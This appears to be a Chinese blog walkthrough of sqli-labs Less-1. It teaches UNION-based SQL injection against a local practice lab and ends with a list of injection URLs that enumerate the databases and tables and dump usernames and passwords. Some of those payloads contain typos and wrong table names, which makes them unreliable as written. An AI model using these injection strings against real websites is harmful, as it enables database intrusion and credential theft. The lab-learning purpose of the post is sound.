Sqli-labs less-01

5 篇文章 0 订阅
2 篇文章 0 订阅

mysql 基本用法

查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;

less-01

进入数据库:mysql -h127.0.0.1 -uroot -proot

show databases;
use security;
select * from where id='1' LIMIT 0,1;

image-20211212090048576

limit 0,1; 其中第一位是从第几个开始,比如 0 代表从第一个开始,而第二位的1代表的就是显示多少个数据

image-20211212090440906

在 sql 语句中:
--+:减减加
-- :减减空格
#:井号
都是代表注释的意思,表示此符号后不执行
在 sql 语句中:
or and
A and B :A,B 都为 true 才为 true
A or B :A,B 中有一个正确结果都是 true
order by number:
number : 代表是第几列,进行顺序排列

image-20211212092240253

显示没有第五列

image-20211212092441570

试出 mysql 数据库中 less-1 存在三列

image-20211212092548431

这时,已知存在三列 1,2,3
所以这里用 union 
把 id=1 改为 id=-1 使其报错,执行 union 后面的 sql 语句

image-20211212093101546

这时候 name 为2
password 为3
说明有回显,可以进行递用

image-20211212093551787

函数的基本用法

system_user()           #当前系统用户
user()                  #当前登录用户
current_user()          #当前登录用户
database()              #当前使用的数据库
version()               #当前 mysql 版本信息
@@datadir               # mysql 的安装路径
@@version_compile_os    #当前的操作系统

image-20211212094542870

image-20211212094632013

在上述中因为有回显,所以现在选择在 3 的位置做一个查库操作
这时就会得到第一个数据库

image-20211212095052971

使用 limit 取出更多的数据
因为在 web 网页中就只能显示一行
所以行是不变的,在列上发生变化就可以了

image-20211212095309829

image-20211212095337586

如上这样一个一个的输出很慢,所以用到
group_concat()
它会把数据连接成一行输出

image-20211212095654542

这时 mysql 数据库就出来了
information_schema,challenges,mysql,performance_schema,security,sys

这时取 security 进行操作,得到 security 中的表信息
emails,referers,uagents,users

image-20211212100031322

在上一步操作中的最后一个 table_schema='security'
不推荐使用单引号

把单引号去掉,在 security 前写入 0x 变为16进制
选中 security 然后点击 Encoding 在点击 Hex Encode

image-20211212101121933

image-20211212101150629

对 users 列表进行操作
同样的 ‘’ 里面的东西一样转化为 16 进制

image-20211212102724863

取出 user 里面的 username 和 password
使用一个批量的函数: concat_ws('~~',A,B)    表示:A~~B

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+

等价于

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from security.users --+

单引号里面的东西尽量变为 0x (16进制)

image-20211212103145631

小结

1。  http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1'    #查看是否有注入
2。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' order by 3 --+ #查看有多少列
3。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3 --+ #查看当前有哪些数据可以回显
4。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,database() --+ #查看当前数据库
5。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1 --+   #查看数据库 security 

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_caoncat(schema_name) from information_schema.schemata --+    #查看所有的数据库

6。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1 --+    #查表

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2group_concat(table_name) from information_schema.tables where table_schema='security' --+    #查看所有的表

7。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='security' --+    #查询列信息

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='security' --+   #查看所有的列信息

8。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,concat_ws('~~',username,password) from security.users limit 1,1   #查询一个账号和密码

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security --+   #查看可以得到的所有账号和密码,并且使用 ~~ 符号进行分隔。

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security --+   #查看可以得到的所有账号和密码,并且使用 ~~ 符号进行分隔。
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

H_kiwi

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值